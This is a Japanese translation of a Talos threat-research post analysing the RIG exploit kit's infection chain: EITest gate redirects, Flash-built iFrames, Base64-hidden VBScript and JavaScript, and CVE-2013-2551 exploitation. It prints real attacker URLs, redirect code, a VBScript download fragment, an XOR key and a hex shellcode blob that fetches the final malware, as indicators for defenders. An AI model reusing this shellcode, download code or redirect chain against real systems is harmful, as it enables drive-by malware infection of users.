Categories: 脅威リサーチ

RIG の詳細な分析

この記事は、Christopher Marczewski の協力のもと Holger Unterbrink により執筆されました。

エグゼクティブ サマリー

Talos は、悪名高いエクスプロイト キット(EK) の継続的な監視を行っています。数ヵ月前に Angler が終息 して以来、その跡を受け継ごうとしているように見えるのが RIG エクスプロイト キットで、Talos は RIG の継続的な進化を認識しています。このレポートでは、RIG の背後にいる攻撃者が被害者を感染させるために使用している複雑な感染プロセスと、攻撃者がセキュリティ ソフトウェアおよびセキュリティ デバイスを回避する方法について詳細に説明します。

攻撃者は、ユーザをランディング ページにリダイレクトするためにゲート(EITest など)を利用しています。これにより、被害者がエクスプロイト キットのランディング ページに最終的にアクセスする前にリダイレクト チェーンが形成されます。攻撃者はさまざまな手法やステージを使用してマルウェア ファイルを配信しています。被害者の PC 上に同じマルウェア ファイルが何度も作成され実行されることも少なくありません。攻撃者は、ある手法がうまく機能しなかったり、マルウェア対策ソリューションによってブロックされたりした場合に備えて、代替手法を用意しています。そのステージおよび手法は、程度の差はあれ、すべて難読化されます。

各種の通信パラメータ(URL やファイル名など)は被害者およびセッションごとにカスタマイズされるため、URL やドキュメント名のみで攻撃を検出することはますます困難になっています。こうしたカスタマイズについては、以下の「技術詳細」セクションで説明します。

感染プロセスの概要

このキャンペーンにおいて主要な感染サイトを調べているうちに、他のキャンペーンが RIG EK にリダイレクトしていることに気付きました。攻撃者はこの EK において、感染チェーンにユーザをリダイレクトするマルバタイジング手法も使用していました。

図 A

このキャンペーンでは、ゲートの背後にいる攻撃者が、悪意のある Flash ファイルをダウンロードするコードを感染サイトに追加しました。この Flash ファイル自体が、悪意のある iFrame を 2 つ作成します。Flash ファイルと同様に、iFrame の内容がゲート サーバからダウンロードされます。

図 B

重要なのは、これらの iFrame が同時には生成されないという点です。2 つ目の iFrame は、1 つ目の Flash ファイルのタイマーがタイムアウトした後に生成され、Web サイトに配置されます。私たちは、2 つ目の iFrame がロードされず、感染ステージが 1 つしかない他のキャンペーンについても調査しました。

図 C

ステージ 1 の iFrame には、RIG エクスプロイト キットのランディング ページに被害者をリダイレクトする JavaScript コードが含まれています。

図 D

図で説明されているとおり、ランディング ページは 3 つの組み込みスクリプトを含む難読化された HTML ページです。これらのスクリプトは 3 つの JavaScript 変数に隠されています。2 つ目のスクリプトは、高度に難読化された、悪意のある別の Flash ファイルをダウンロードします。

この変種は、私たちが確認した唯一のものではありません。RIG ベースの EK は柔軟性に優れており、攻撃者が特定のパラメータを臨機応変に変更できるようです。ひとつの感染ステージしか使用しないキャンペーンや、ここで説明している 3 つのスクリプトを他のスクリプト(2 つの VBScript と、別の Flash ファイルをダウンロードする 1 つの JavaScript など)と交換するキャンペーンなども確認されました。唯一同じなのは、これらのスクリプトが一般に「s」と呼ばれる変数に格納され、Base64 を使用してエンコードされる点です。これはさほど驚くことではありません。私たちが知る限りでは、RIG-v と呼ばれる他のバージョンの RIG が少なくとも 1 つ存在し、アンダーグラウンドで販売されています。

図 E

最後に、これらのスクリプトはすべて、エクスプロイト キットが被害者のマシンにインストールするのと同じマルウェア ファイルをダウンロードして実行します。
図 C で説明したタイマーがタイムアウトした後、ステージ 2 が開始されます。多少の違い(セッション番号の違いなど)はありますが、ステージ 2 はステージ 1 とほぼ同じです。

図 F

技術詳細

前述のとおり、攻撃者はこのキャンペーンにおいて、次のようなコードが追加された感染 Web サイトを使用していました。

最初に感染したサイトのコード スニペット:

図 G

amocy.top サイトへのリンクは、攻撃者が EITest ゲートを使用していることを示す典型的な指標です。被害者がこのサイトにアクセスすると、難読化された ActionScript を含む、悪意のある Flash ファイル(SWF)がダウンロードされます。難読化が解除されたスクリプトは次のように見えます。

図 H

ユーザが特定のバージョンの Internet Explorer を使用しているかどうか確認された後、同じサイトから悪意のある iFrame をロードする際に使用されるファイル名が生成されます。上のコードからわかるように、変数「temp」はランダムに生成される可変長の文字列です。文字列が生成された後、拡張子(「html」、「htm」、「jpeg」、「png」、「jpg」、「gif」、「js」のいずれか)がファイル名に付加されます。生成された完全なファイル名は、asd.jpeg のようになります。

このため、
d.innerHTML = <iframe src=”<local URL of swf file>’ + temp + ‘”></iframe>
の行は、

次のように解決されます。
<iframe src=”<local URL of swf file>’ + asd.jpeg + ‘”></iframe>

これは 2 回実行されます。その結果、悪意のある iFrame が感染サイトに 2 回組み込まれます。2 回目の試行は、タイマーがタイムアウトした後に行われます。上で生成された URL(iFrame の作成に使用される)は、次のようになります。

1 つ目のリクエスト:
http://amocy.top/pgioeknieedfacre4rpt6nslpe-8t-ot4b1cm-5ntfmppsn3teeo6aalaaacmn
rpkmmpn9eti0n-9a1blr5sepse0coi-elfrplorsepo8or0op3basa7sd1dme9fkiran4mrabec
mm/asd.jpeg

2 つ目のリクエスト(このドキュメントの内容については、レポートの後半で説明します):
http://amocy.top/pgioeknieedfacre4rpt6nslpe-8t-ot4b1cm-5ntfmppsn3teeo6aalaaacmn
rpkmmpn9eti0n-9a1blr5sepse0coi-elfrplorsepo8or0op3basa7sd1dme9fkiran4mrabecm
m/rqqjllfd.html

1 つ目の実行パス(asd.jpg

1 つ目のリクエストは JPEG ファイルのように見えますが、実際は通常のシンプルな HTML ファイルです(以下を参照)。

図 I

この HTML ファイルは、被害者をエクスプロイト キットのランディング ページにリダイレクトすることのみを行います。

http://dsa.FAITHFULBUSINESSVENTURES.COM/?zniKfrGbJRvMDYA=l3SKfPrfJxzFGMSUb-nJDa9GP0XCRQLPh4SGhKrXCJ-ofSih17OIFxzsqAycFUKCqrF4Qu4Fah2h1QWScEZr
mYRPFgVIove8hQLfyhSWksXQ-hbbZwIW-5LGQbM8iVn9xrdBec4vwhKKumlRmLgeQFFd

これにより、3 つの変数(すべて「s」という変数)を含む、大容量の難読化された HTML ファイルがロードされます(以下を参照)。これらの変数には、Base64 エンコード形式の VBScript(VBS)ファイルが 1 つと、Base64 エンコード形式の JavaScript(JS)ファイルが 2 つ隠されており、HTML ドキュメントに含まれる難読化されたスクリプトによって実行されます。これらの変数は単に Base64 でエンコードされたもので、簡単に復号できます。実行後、3 つの各スクリプトは同一の最終的なマルウェアをダウンロードし、それは被害者のマシンにインストールされます。唯一の違いは、これらがそれぞれ異なる既知の脆弱性の利用を試みることです。

大容量の HTML ファイル(読みにくくなるため省略):

図 J

これら 3 つのスクリプトについて詳しく見てみましょう。

1 つ目の Base64 エンコード形式の変数「s」

1 つ目の Base64 エンコード形式の変数「s」は、次の VBScript に復号できます(読みにくくなるため省略)。

図 K

ターゲット システムで 2 回テストを行った後、DoMagic() 関数を実行します。この関数は、スクリプトに格納されている URL を使用して、キャンペーンの主要なマルウェア ペイロード(ランサムウェアなど)をダウンロードします。

http://dsa.FAITHFULBUSINESSVENTURES.COM/index.php?zniKfrGbJRvMDYA=l3SMfPrfJxzFGMSUb-nJDa9GP0XCRQLPh4SGhKrXCJ-ofSih17OIFxzsqAycFUKCqrF4Qu4Fah2h1
QWScEZrmYRPFgVIove8hQLfyhSWksXQ-hbbZwIW-5LGQbM8iVn9xrdBec4vwhKKumlR
mLgeQFFT6wkZjuyeV7PC7kpzXlBvEQ7bJN0sohfQDmK1JDEwi_SxUjJ8kvzFuw

ダウンロードされた HTTP ペイロードは、VBScript 内のパスワード(例:awMKCDwA)と XOR 演算のみを行った後、ディスクに書き込まれ、その後 2 回実行(1 回は通常のシェルでネイティブに、もう 1 回は、通常はコントロール パネルの項目を開くために使用される control.exe プログラムへのパラメータとして)されます。

私たちは、このペイロードを復号する簡単な Python スクリプト を作成しました。つまり、感染の pcap トレースがある場合には、トレースの最後の x-msdownload を探して pcap からファイルを抽出し、EK のペイロード ファイルを復号して元の PE ファイルを再構築することができます。

以下は、Talos のキャンペーンの一部においてダウンロードされたバイナリの MD5 ハッシュです。
D7AB607880B953BA5F87A693278CE14B Gamarue
730B8E27C1BB1A3FADB9C10657E7E046 CRYPTFILE2
D3E91CC75AC06D8AF70127D3B972EF8E破損

2 つ目の Base64 エンコード形式の変数「s」

大容量の HTML ファイル(JavaScript)の 2 つ目の変数「s」は、次の JavaScript コードに復号できます。ここでは EK が「/*sw7586sdd*/」のようなランダムなコメントをどのように JavaScript コードに挿入しているかを確認することができます。これらのコメントはセッション単位で変更されます。これは、Base64 エンコード形式の BLOB がセッションごとに異なって見えることを意味します。EK は、感染プロセス全体を通じて同じ戦略を使用しています。

図 L(読みにくくなるため省略)

これは、次の MD5 ハッシュを持つ別の悪意のある Flash ファイル(SWF)をダウンロードして実行します。
c6014a32cc06f862ea44db720dfcf553

私たちは現在、コードの難読化を完全に解除することに取り組んでいますが、現段階で言えるのは、iddqd パラメータ(Doom の無敵モード のように、この陰で動くユーザのように見える)が一種のシェルコード ペイロードに見えるということです。このペイロードは実行時に復号され、SWF に格納されている他の文字列と組み合わさって、最終的にエクスプロイトによって実行されます。

SWF は DoSWF Flash ツールによって高度に難読化されます。このツールには、Flash ファイルを暗号化および難読化するための各種のオプションが付属しています。

図 M

これは、Flash ファイル向けの使いやすいコピー保護ツールです。攻撃者はさまざまな難読化手法をオン デマンドで組み合わせることができます。各 RIG キャンペーンの SWF ファイルがそれぞれ異なる DoSWF 機能を使用して難読化されていることは、驚くべきことではありません。

この SWF を逆コンパイルしたところ、次のように、すべての関数と多くの変数が読みにくい Unicode 文字へと置換されました。

図 N

ほとんどの文字列は暗号化され、実行時に解決されます(例:以下の _SafeStr_14.<Unicode の関数名>(-1820302799))。static メソッドをオン デマンドで評価できる ASV という優れた機能を使用することで、SWF 自身のコードを利用して文字列を復号できます。

図 O

ほとんどの難読化を解除および削除しても、最終的に得られたのはオブジェクト指向のひどいスパゲッティ コードでした(オブジェクトとメソッドが変数チェーンに割り当てられたポリモーフィック メソッドなど)。コードの実行が開始されるドキュメント クラスは _SafeStr_12 です。

注:クラス名は、SWF を逆コンパイルする際に使用した ASV ツールによって動的に生成されます。これらの名前は、他のセットアップでは異なる可能性があります。ASV 担当者のすばらしいサポートに感謝します。

図 P

SWF は、OS のバージョン、Flash Player のタイプ、Flash のバージョン、およびデバッガがあるかどうかなどに関する環境チェックを行った後、上の JavaScript コードに見られた「iddqd」パラメータを読み取ります。このパラメータは復号され、SWF 内に格納されている文字列(60eb..)と統合されます。最後に、再構築されたシェル コードが _p78_ 関数に渡されます。

図 Q

_p80_ と _p81_ は、元の文字列の復号処理を実行します。

図 R

以下に、生成された文字列を示します。この文字列は最終的に、シェル変数に格納されます。


60EB1158B9D1040000498034081985C975F7FFE0E8EAFFFFFFF 
11F19191978F0DC1D191998F5C51919194A4C4F2AC24EA04B08 
7652DE5D3D016C6B7574DE5D3D057677377D7FDE5D3D3975759 
1453D3BDE5D3D3D787D6F78DE5D3D3169702A2BDE5D3D35377D 
757591453D29F1851A1919A00B7B3067905D3D4DF1971A1919A 
0DAE42868905D3D79F1991A1919A0728DC2E6905D3D7DF16B1A
191992E1A0BC01234390653D71F17B1A191992E9A034363F669 
06D3D6DF14B1A1919A02F5A2F4F905D3D61F15D1A1919A0A5F8 
32F3905D3D65F12F1A1919A0DD7CB054909D3D99191919F13C1 
A1919A0DACB1CFC909D3D9D191919F10D1A1919A0538DAFD090 
9D3D91191919F11A1A1919A056F5CE4C909D3D95191919F1EB1
B1919909D3D89191919945D3D0149E6CF945D3D3D49E6CFA09F
8B3363F1CA1B1919A01BA9709D909D3D81191919F1DB1B1919A
033A4D3B8909D3D85191919F1A81B1919909D3DB9191919F16E
1A191992F190753D2D935CE5EFC9915D3D0A90453D2190453D2
590453D59731D7119091919711D1C19194AE6CE92E1937D3D0A
92CC2AEF9486191D191992D632CE931D132BDD91186D135F589
8E7191D19196FF49CEF169D3918191992DE2AD09921196D0190
5D9521930999E3226D1E599DCB6CEDF212DF191959F21C9A7D9
52119589AE01A6BC192753D21935C1925286D11252B169CF819
1919924D3D254AE66D3D5D94553D45F1C319191940409CD9169
DBD191919935C192528169C89191919735D2ACB44904D3D0D92
D4949D3DB1191919910959506CE3730940945D3D5D910959506
CE3945D3D0D49719219191973E690B53DAD191919E68D3DBD19
1919945D3D5D49949D3DB5191919492AD9494949494949494AE
66D3D25E68D3DD11919199A653D0D196D11E66D3D0DE64D3D7D
9A653D51196D11E66D3D51E64D3D7D9A653D5D196D0AE66D3D5
DE64D3D7DF210252B6C1C4AE64D3D6192753D2D71199919192A
C25C4A1AF74E90753D59E64D3D6992653D71F0BBE7E6E646474
44298DDC5191919DA9AF5094A4C4F4E731D7119091919711D18
191992F392C02AE64E90753D3D90453D35E64A0D92E94F711D1
81919E64A21E66D3D314E4E4FE64A2571199919194E4FE64A09
4E4EE66D3D29E66D3D294EE64A559CD9169CA41919194E71991
91919731A4E731871191919D9E66D3D59E64A3592E99AE7E616
9D821919194E4FE64A29905D3D099CD9169D9F1919199CF46D6
6996419196D604CE60A731D7119091919E66D3D01905D3D3D4E
E64A0D4E92F1945D3D0D49E66D3D014C4FE64A3D925D3D0992D
69CD96D3192453D0D92CE22D16A03224D3D016A09931D03291D
30925D3D095B5822D16BF322D16BF992453D054E4E4E4FE64A2
D4E945D3D0D49E66D3D014C4FE64A3171199919194E4CE64A09
2AE65E4FE64A1592DE464744429ADD09DA9AF5097DB82919191
94A9259154C4F9269154E924F0190553D019CCB169D94191919
2AF4925B259267299245096192D490453D099CC26D73D8D0149
31E257816A7D9651A9AD8F99ADE1B1AD17F20366CFE925D0A39
1ADB9A650A011992E46F5B92C492311AF39AD91D905D3D05935
C19D8D21416A7D91AC15C935C199DD96CE990453D0D925D3D0D
92453D091AD8225D3D016D3C925D3D055E73194422650A016BA
7922F924F019CCB169C6CE6E6E62AD9464744429ADD09DA925D
0A3D941D6116AE1509925D0A05941D91921D091ADBF2C6F1191
91919419AD913DADAE6E6E6E62822786E54525A5D6E5822716D
6D692336367D6A78377F78706D717F6C757B6C6A70777C6A6A6
F7C776D6C6B7C6A377A76743670777D7C613769716926637770
527F6B5E7B534B6F545D405824752A4A547F496B7F5361635F5
E544A4C7B3477535D78205E4929415A4B485549712D4A5E7152
6B415A5334767F4A7071282E56505F61636A6858607A5F4C525
A686B5F2D486C2D5F78712B7128484E4A7A5C436B74404B495F
7E4F50766F7C217148557F60714A4E726A414834717B7B436E5
04E342C555E487B5421704F7720616B7D5B7C7A2D6F6E715252
6C74754B74557E7C485F5F4D2F6E7243736C607C4F2E495A2E7
2696341755B6F5C482E7B5357296A76717F485D745228535D5C
6870465A604A2A403F7D7F7E6A7D7F24282F201919190000000
0

これが、わずかな違いはあるものの、同じバイナリ BLOB であるのは興味深いことです。このバイナリ BLOB は、3 つ目の変数「sの JavaScript に見られるバイナリ BLOB と同様に、最後に呼び出される ty() 関数のパラメータに格納されます。

これは、すべてのエクスプロイトが最後に実行するペイロードのように見えます。バイナリ BLOB は 0x19 XOR 演算が行われます。これを復号すると、最終的な EK ペイロード マルウェアのロード元の URL を確認できます。つまり、被害者の PC にインストールされる最終的なマルウェアがロードされることになります。これは、上で見たものと同じファイルです。

http://dsa.faithfulbusinessventures.com/index.php?zniKfrGbJRvMDYA=l3SMfPrfJxzFGMSUb-nJDa9GP0XCRQLPh4SGhKrXCJ-ofSih17OIFxzsqAycFUKCqrF4Qu4Fah2h1QWSc
EZrmYRPFgVIove8hQLfyhSWksXQ-hbbZwIW-5LGQbM8iVn9xrdBec4vwhKKumlRmLgeQ
FFT6wkZjuyeV7PC7kpzXlBvEQ7bJN0sohfQDmK1JDEqi_-7SDl9kKM&dfgsdf=202

「マルウェアのダウンロード URL」の前には「awMKCDwA」も付けられます。

—中略—
1;awMKCDwA;http://dsa.faithfulbusinessventures.com/index.
—中略—
これは、前述の VBScript ですでに目にした文字列です。最終的にダウンロードされるマルウェアを XOR 演算で復号する際に必要になります。

3 つ目の Base64 エンコード形式の変数「s」

大容量の HTML ファイルに格納される 3 つ目の変数「s」も、難読化された JavaScript です。

図 S(読みにくくなるため省略)

難読化を解除したところ、この JavaScript が CVE-2013-2551(別名 MS13-037)を利用して、他の変数「s」に格納されている Base64 エンコード形式のスクリプトによってダウンロードされたのと同じマルウェアを通じてダウンロードを行い、被害者を感染させていることがわかりました。難読化が解除されたコードは、私たちがインターネット上で見つけた CVE-2013-2551 のいくつかのエクスプロイト サンプルをほぼそっくりコピーしたものでした。

前述のように、ty() のパラメータ値はエクスプロイト後に実行される実際のシェル コードです。上と同じように、バイナリ データは 0x19 と XOR 演算が行われ、最終的なマルウェアのダウンロード元の URL が追加されます。

http://dsa.faithfulbusinessventures.com/index.php?zniKfrGbJRvMDYA=l3SMfPrfJxzFGMSUb-nJDa9GP0XCRQLPh4SGhKrXCJ-ofSih17OIFxzsqAycFUKCqrF4Qu4Fah2h1QWSc
EZrmYRPFgVIove8hQLfyhSWksXQ-hbbZwIW-5LGQbM8iVn9xrdBec4vwhKKumlRmLgeQ
FFT6wkZjuyeV7PC7kpzXlBvEQ7bJN0sohfQDmK1JDEqi_CyS3Y&dfgsdf=169

2 つ目の実行パス(rqqjllfd.html)

ここで、他の実行パスを見てみましょう。前述のタイマーがタイムアウトすると、amocy.top EITest ゲートによって別の感染チェーンが開始されます。これは、前述の実行パスとよく似ています。これは実際、非常に冗長です。また、上で説明したのと同じように、ランダムに生成された別の名前が付けられたほぼ同じ HTML ファイルがダウンロードされます。

http://amocy.top/pgioeknieedfacre4rpt6nslpe-8t-ot4b1cm-5ntfmppsn3teeo6aalaaacmn
rpkmmpn9eti0n-9a1blr5sepse0coi-elfrplorsepo8or0op3basa7sd1dme9fkiran4mrabecm
m/rqqjllfd.html

図 T

これにより、被害者は別の大容量の HTML ファイルにリダイレクトされます。この HTML ファイルも、上で見たのとほぼ同じファイルです。典型的な Base64 エンコード形式の変数「sは 3 種類あることが確認されており、これらにはステージ 1 のスクリプトと同じような悪意のあるスクリプトが含まれています。

図 U(読みにくくなるため省略)

変数の値が上と異なっているように見えますが、これらを復号すると、最終的には上で見たものとほぼ同じ、悪意のあるスクリプトが現れます。

1 つ目の Base64 変数「s」(これも VBScript):

以下では、URL のセッション ID が変更されていますが、その他はほぼ同じです。

図 V(読みにくくなるため省略)

2 つ目の変数「s」(これも上とほぼ同じ JavaScript):

2 つ目も同様です。これも URL が少し異なっていますが(セッション ID)、同じ悪意のある SWF ファイルです。iddqd パラメータが異なっていても、ステージ 1 で見たのと同じように、最終的には同じ悪意のあるマルウェアがダウンロードされます。

図 W(読みにくくなるため省略)

3 つ目の変数「s」(これも JavaScript):

3 つ目も同様です。ここでもおなじみの ty() 関数を確認できます。ただし、内容は新しいセッションに適応したものになっています。

図 X(読みにくくなるため省略)

これからわかることは、前のステージで見たファイルと同様に、3 つのすべてのファイルは機能面ではほとんど同じファイルであるということです。難読化されたバージョンでは違うように見える主な理由は、前述のとおり、EK がランダムなコメントを JavaScript コードに挿入するためです。以下に例をいくつか示します。

同じ JavaScript コード(異なるランダムなコメント):

ステージ 1

/*sdfgkdfhd20708hfjfs*//*kj24459sdfjdk71976fg*/function u1(e){return unescape(e)}function p1(e){return parseInt(e,16)}

ステージ 2

/*sdfgkdfhd83247hfjfs*//*kj10036sdfjdk60483fg*/function u1(e){return unescape(e)}function p1(e){return parseInt(e,16)}

他にも、セッション番号のように見える部分が若干異なります。例:

ステージ 1

Dim gds, jht, ytr

gds = “http://dsa.faithfulbusinessventures.com/index.php?znePf7KfLx7HA4I=l3SMfPrf
JxzFGMSUb-nJDa9GP0XCRQLPh4SGhKrXCJ-ofSih17OIFxzsqAycFUKCqrF4Qu4Fah2h1
QWScEZrmYRPFgVIove8hQLfyhSWksXQ-hbbZwIW-5LGQbM8iVn9xrdBec4vwhKKumlR
mLgeQFFT6wkZjuyeV7PC7kpzXlBvEQ7bJN0sohfQDmK1JDEwi_SxUjJ8kvzFuw”

jht = tra(7) & “.exe”

ステージ 2

Dim gds, jht, ytr

gds = “http://dsa.faithfulbusinessventures.com/index.php?zniKfrGbJRvMDYA=l3SMfPrf
JxzFGMSUb-nJDa9GP0XCRQLPh4SGhKrXCJ-ofSih17OIFxzsqAycFUKCqrF4Qu4Fah2h1
QWScEZrmYRPFgVIove8hQLfyhSWksXQ-hbbZwIW-5LGQbM8iVn9xrdBec4vwhKKumlR
mLgeQFFT6wkZjuyeV7PC7kpzXlBvEQ7bJN0sohfQDmK1JDEwi_SxUjJ8kvzFuw”

jht = tra(7) & “.exe”

その他の機能コードは同じです。また、上で見たのと同じように、結果として同じマルウェア ファイルがダウンロードされます。

ネットワークの概要

これがネットワーク上でどのように見えるかについて、以下に概要を示します。

ユーザが感染サイトにアクセスします。

EITest ゲートから Flash ファイル(SWFをダウンロードします。
http://amocy.top/pgioeknieedfacre4rpt6nslpe-8t-ot4b1cm-5ntfmppsn3teeo6aalaaacmn
rpkmmpn9eti0n-9a1blr5sepse0coi-elfrplorsepo8or0op3basa7sd1dme9fkiran4mrabecmm

以下をダウンロードする、悪意のある iFrame が Flash ファイル(SWF)によって作成されます。
http://amocy.top/pgioeknieedfacre4rpt6nslpe-8t-ot4b1cm-5ntfmppsn3teeo6aalaaacmn
rpkmmpn9eti0n-9a1blr5sepse0coi-elfrplorsepo8or0op3basa7sd1dme9fkiran4mrabec
mm/asd.jpg

その後、以下が作成されます(タイマーがタイムアウトした後)。
http://amocy.top/pgioeknieedfacre4rpt6nslpe-8t-ot4b1cm-5ntfmppsn3teeo6aalaaacmn
rpkmmpn9eti0n-9a1blr5sepse0coi-elfrplorsepo8or0op3basa7sd1dme9fkiran4mrabec
mm/rqqjllfd.html

asd.jpg は難読化されていない HTML ファイルで、以下にリダイレクトします。
document.location.href = “http://dsa.FAITHFULBUSINESSVENTURES.COM/?zniKfrGbJR
vMDYA=l3SKfPrfJxzFGMSUb-nJDa9GP0XCRQLPh4SGhKrXCJ-ofSih17OIFxzsqAycFUKC
qrF4Qu4Fah2h1QWScEZrmYRPFgVIove8hQLfyhSWksXQ-hbbZwIW-5LGQbM8iVn9xrdBe
c4vwhKKumlRmLgeQFFd”;

これにより、「技術詳細」セクションで説明した 3 つの変数「s」を含む大容量の HTML ファイルがロードされます。これは、キャンペーンによって異なる可能性があります(例:2 つの VBScript と 1 つの SWF)。

s(1) Base64 BLOB1 VBScript マルウェアのダウンロード
s(2) Base64 BLOB2 JS のダウンロード SWF マルウェアのダウンロード
s(3) Base64 BLOB3 JS マルウェアのダウンロード

rqqjlld.html は難読化されていない類似の HTML ファイルで、以下にリダイレクトします。
document.location.href = “http://dsa.FAITHFULBUSINESSVENTURES.COM/?znePf7KfL
x7HA4I=l3SKfPrfJxzFGMSUb-nJDa9GP0XCRQLPh4SGhKrXCJ-ofSih17OIFxzsqAycFUKC
qrF4Qu4Fah2h1QWScEZrmYRPFgVIove8hQLfyhSWksXQ-hbbZwIW-5LGQbM8iVn9xrdBe
c4vwhKKumlRmLgeQFFd”;

これは上の HTML ファイルに似た別の HTML ファイルで、これにも 3 つの変数「s」が含まれています。

s(1) Base64 BLOB1 – VBScript → マルウェアのダウンロード
s(2) Base64 BLOB2 – JS のダウンロード → SWF → マルウェアのダウンロード
s(3) Base64 BLOB3 – JS → マルウェアのダウンロード

3 つの変数「s」に含まれているスクリプトの実行内容を見てみましょう。

ステージ 1:変数 s(1) Base64 BLOB VBScript
http://dsa.faithfulbusinessventures.com/index.php?zniKfrGbJRvMDYA=l3SMfPrfJxzFGMSUb-nJDa9GP0XCRQLPh4SGhKrXCJ-ofSih17OIFxzsqAycFUKCqrF4Qu4Fah2h1QWSc
EZrmYRPFgVIove8hQLfyhSWksXQ-hbbZwIW-5LGQbM8iVn9xrdBec4vwhKKumlRmLgeQ
FFT6wkZjuyeV7PC7kpzXlBvEQ7bJN0sohfQDmK1JDEwi_SxUjJ8kvzFuw

<最終的なマルウェア(ランサムウェアなど)> をダウンロード

ステージ 2:変数 s(1) Base64 BLOB VBScript
http://dsa.faithfulbusinessventures.com/index.php?znePf7KfLx7HA4I=l3SMfPrfJxzFGMSUb-nJDa9GP0XCRQLPh4SGhKrXCJ-ofSih17OIFxzsqAycFUKCqrF4Qu4Fah2h1QWSc
EZrmYRPFgVIove8hQLfyhSWksXQ-hbbZwIW-5LGQbM8iVn9xrdBec4vwhKKumlRmLgeQ
FFT6wkZjuyeV7PC7kpzXlBvEQ7bJN0sohfQDmK1JDEwi_SxUjJ8kvzFuw

<最終的なマルウェア(ランサムウェアなど)> をダウンロード

ステージ 1:変数 s(2) JS
http://dsa.faithfulbusinessventures.com/index.php?zniKfrGbJRvMDYA=l3SMfPrfJxzFGMSUb-nJDa9GP0XCRQLPh4SGhKrXCJ-ofSih17OIFxzsqAycFUKCqrF4Qu4Fah2h1QWSc
EZrmYRPFgVIove8hQLfyhSWksXQ-hbbZwIW-5LGQbM8iVn9xrdBec4vwhKKumlRmLgeQ
FFT6wkZjuyeV7PC7kpzXlBxFlvbJN0sohfQDmK1JDEqi_66QDp-1g

ステージ 2:変数 s(2) JS
http://dsa.faithfulbusinessventures.com/index.php?znePf7KfLx7HA4I=l3SMfPrfJxzFGMSUb-nJDa9GP0XCRQLPh4SGhKrXCJ-ofSih17OIFxzsqAycFUKCqrF4Qu4Fah2h1QWSc
EZrmYRPFgVIove8hQLfyhSWksXQ-hbbZwIW-5LGQbM8iVn9xrdBec4vwhKKumlRmLgeQ
FFT6wkZjuyeV7PC7kpzXlBxFlvbJN0sohfQDmK1JDEqi_GzRDh-1g

どちらも MD5 が c6014a32cc06f862ea44db720dfcf553 の Flash ファイル(SWF)をダウンロードしますが、若干異なる iddqd 変数を使用しています。

ステージ 1:変数 s(2) によってダウンロードされた SWF
http://dsa.faithfulbusinessventures.com/index.php?zniKfrGbJRvMDYA=l3SMfPrfJxzFGMSUb-nJDa9GP0XCRQLPh4SGhKrXCJ-ofSih17OIFxzsqAycFUKCqrF4Qu4Fah2h1QWSc
EZrmYRPFgVIove8hQLfyhSWksXQ-hbbZwIW-5LGQbM8iVn9xrdBec4vwhKKumlRmLgeQ
FFT6wkZjuyeV7PC7kpzXlBvEQ7bJN0sohfQDmK1JDEqi_-7SDl9kKM&dfgsdf=202

<最終的なマルウェア(ランサムウェアなど)> をダウンロード

ステージ 2:変数 s(2) によってダウンロードされた SWF
http://dsa.faithfulbusinessventures.com/index.php?znePf7KfLx7HA4I=l3SMfPrfJxzFGMSUb-nJDa9GP0XCRQLPh4SGhKrXCJ-ofSih17OIFxzsqAycFUKCqrF4Qu4Fah2h1QWSc
EZrmYRPFgVIove8hQLfyhSWksXQ-hbbZwIW-5LGQbM8iVn9xrdBec4vwhKKumlRmLgeQ
FFT6wkZjuyeV7PC7kpzXlBvEQ7bJN0sohfQDmK1JDEqi_-_Rjt8kKM&dfgsdf=293

<最終的なマルウェア(ランサムウェアなど)> をダウンロード

ステージ 1:変数 s(3) JS
http://dsa.faithfulbusinessventures.com/index.php?zniKfrGbJRvMDYA=l3SMfPrfJxzFGMSUb-nJDa9GP0XCRQLPh4SGhKrXCJ-ofSih17OIFxzsqAycFUKCqrF4Qu4Fah2h1QWSc
EZrmYRPFgVIove8hQLfyhSWksXQ-hbbZwIW-5LGQbM8iVn9xrdBec4vwhKKumlRmLgeQ
FFT6wkZjuyeV7PC7kpzXlBvEQ7bJN0sohfQDmK1JDEqi_CyS3Y&dfgsdf=169

<最終的なマルウェア(ランサムウェアなど)> をダウンロード

ステージ 2:変数 s(3) JS
http://dsa.faithfulbusinessventures.com/index.php?znePf7KfLx7HA4I=l3SMfPrfJxzFGMSUb-nJDa9GP0XCRQLPh4SGhKrXCJ-ofSih17OIFxzsqAycFUKCqrF4Qu4Fah2h1QWSc
EZrmYRPFgVIove8hQLfyhSWksXQ-hbbZwIW-5LGQbM8iVn9xrdBec4vwhKKumlRmLgeQ
FFT6wkZjuyeV7PC7kpzXlBvEQ7bJN0sohfQDmK1JDEqi_a6S3Y&dfgsdf=169

<最終的なマルウェア(ランサムウェアなど)> をダウンロード

まとめ

RIG キャンペーンの背後にいる攻撃者がゲートを使用して、被害者をエクスプロイト キットにリダイレクトする方法を見てきました。この方法では、感染チェーン全体をたどって別の難読化レイヤを挿入することが困難になります。攻撃者は、各種の Web テクノロジー(JavaScript、Flash、VBScript など)を組み合わせて攻撃を難読化することにより、リバース エンジニアリングや攻撃手法の特定を困難にします。また、セッション単位でコード内のコメント セクションを変更し、ネットワーク経由で送信されるすべてのファイルのエンコーディングおよび暗号化を動的に変更することにより、スクリプトがすべてのセッションで異なるように見せ、単純な文字列の一致やハッシュ値によって攻撃を検出できなくしています。攻撃者は、使用するツールや手法に応じて、感染チェーンの特定の部分をオン デマンドで柔軟に変更することができます。

ユーザ保護

お客様がこの脅威を検出してブロックできる別の方法を以下に記載します。

Advanced Malware Protection(AMP)は、これらの攻撃者によるマルウェアの実行の阻止に最適です。

CWSWSA の Web スキャンは、悪意のある Web サイトへのアクセスを阻止し、それらの攻撃に使用されるマルウェアを検出します。

IPS のネットワーク セキュリティ保護や NGFW には、攻撃者による不正なネットワーク アクティビティを検出できる最新のシグネチャが備わっています。

ESA は、攻撃活動の一環として攻撃者が送信した悪意のある電子メールをブロックできます。

本稿は 2016年11月3日に Talos Group のブログに投稿された「 Take the RIG Pill: Down the Rabbit Hole」の抄訳です。

Share
TALOS Japan

Talos は、ネットワーク脅威の専門家集団です。Talos が提供する脅威インテリジェンスの情報は、既知および未知の脅威からお客様のネットワークを保護するためにシスコのセキュリティ製品によって活用されています。

Comments are closed.